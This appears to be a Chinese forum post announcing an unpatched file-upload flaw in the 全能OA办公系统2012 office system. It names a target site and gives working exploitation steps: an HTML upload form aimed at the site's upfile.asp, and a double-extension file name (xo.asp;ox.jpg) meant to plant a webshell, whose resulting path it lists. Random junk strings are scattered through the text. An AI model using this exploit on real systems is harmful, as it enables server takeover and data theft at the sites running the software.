全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
# z  G5 J: X" A# M5 C系统介绍：

, M9 X' \2 r$ J6 B7 n% R全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

0 R( i. q; ?! w, o主要功能：
公司通告
工作计划
/ B. s+ ^5 e7 e- K* f' L通讯助理
客户资源
我的公文
% W: a' o$ z7 B公文传阅
公共资源
6 E0 R6 _8 P. S( S2 B) s' v6 P资源预约
; i: X4 _! b+ G* C& u, D3 k) a今日考勤
$ [% q8 r' l! ^/ f个人计划
  E3 V; d( b% s/ @( v. W6 O9 v个人通讯录
5 j# t0 b2 H9 ^* q个人基本档案
5 X7 j) z# K# a0 q: W7 ~3 \未读邮件
5 j- K  N3 p$ S( o. V! C发邮件
! [  \2 T6 O1 p- t收件夹
寄件夹
- g# h% n4 ]( p% s$ s网络硬盘
+ }6 V9 u% N5 x$ W' ~网络会议
1 T+ @/ p4 p2 E, u网络调查
交流论坛
9 |: N) \4 A- K! E* A. W. e
+ c) F) C- g0 ]" @有兴趣测试的朋友可以下源码看看
4 P1 g$ O5 E4 I$ r+ D$ T
9 S' m$ I; A* F: J% f源码下载：

% j0 F" w  ?/ l; \3 L" \  xhttp://www.mycodes.net/30/4750.htm
9 J+ t5 A' s! H$ @9 M' O4 w
漏洞介绍：
) m; L3 J: V& T) }; ?
由upfile.asp上传文件漏洞引起

测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可

* a) Z2 B4 ~  J+ m如果upfile.asp文件被删除不存在。
; Y  h9 T3 V4 r; f0 J  Z4 T3 C9 N
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
8 `5 [" \6 C  Z
1 U) H; k, c. z如果存在那么将如下代码保存为upfile.html。

/ l. F: m* `4 s& y: K然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
/ O5 q& W& A9 s6 D! Q3 V
6 \$ H1 ~$ i2 O: }1 D9 ~
$ p* T9 d; a" ?$ B  L" D
01 <table border='0' align="center" cellpadding="5">
" I6 D$ g) F$ k
1 h! ~# Y* }4 M5 s% U, {02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
& @3 p3 f1 q! v; s4 l% r2 B2 `
& o* K4 D; E9 E$ h04             <td>报错：</td>
( L% {' m( n0 }- T- U1 r
- N0 J5 o. [+ p. V; P05             <td><input type='radio' name='errnumber' value='0'>
; m) O/ k7 @# s8 i) ]: B
06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>
/ ?# H7 L7 x$ p- z3 r0 f
08               报错方式

( T* T: S* o8 T2 o09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
6 A0 v6 e% i; c" j' c
& J$ A* L! `- P% p% @, w11           </tr>
% r9 t- e, o# t
12           <tr>

" \0 T6 L6 Z& ~7 c' x13             <td>主题：</td>
# u7 Z# o& n! k7 T7 y
  h# @9 i- m( t, Y% q8 C0 Z14             <td><input type='text' name='filename' size='30'></td>

3 F: q) I7 W# ~- n, E15           </tr>
/ k  [5 @' d& I
16           <tr>
/ [; a2 l9 U# p. I, `8 L2 n* Q
: y$ T$ U9 p8 {: ~$ |0 b17             <td>文件：</td>
# j1 Y# D3 O6 Q3 @# o- f" ]
18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
% v; o1 N5 R+ D: K: m1 R) y  ?
/ H/ J% B) ?8 y3 R$ Q) E' l20           <tr>

2 L3 Q, N+ ^/ V* Y21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

: r6 U7 R( H' u( T9 o  F6 V7 I23           </tr>
) @: J* V2 z' a( ?( i  \! P
# L/ Y  v  V+ u7 Q& h  p8 u( Y& d  z2 k24   
1 x8 ~6 z- |! _
: e( u: p! m% `  ^. N25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
8 _) B$ H' S! N3 \( H
, a7 P) Z; q! x4 h% T2 j26           </tr>

27         </form>
2 j# `! p4 ?5 _  j
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
, T; o  @* `! k5 A6 o
1 |, i: y* q; A; ?

% T  B/ h: _: C% f6 t6 Q& X" I4 k. n上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
( ]" z$ M7 ]2 [' Y
& q  r# c" D4 o7 k, A此漏洞需要配合解析漏洞利用。
& m1 S% Q9 E, {0 W7 B3 N4 G: W4 ?& }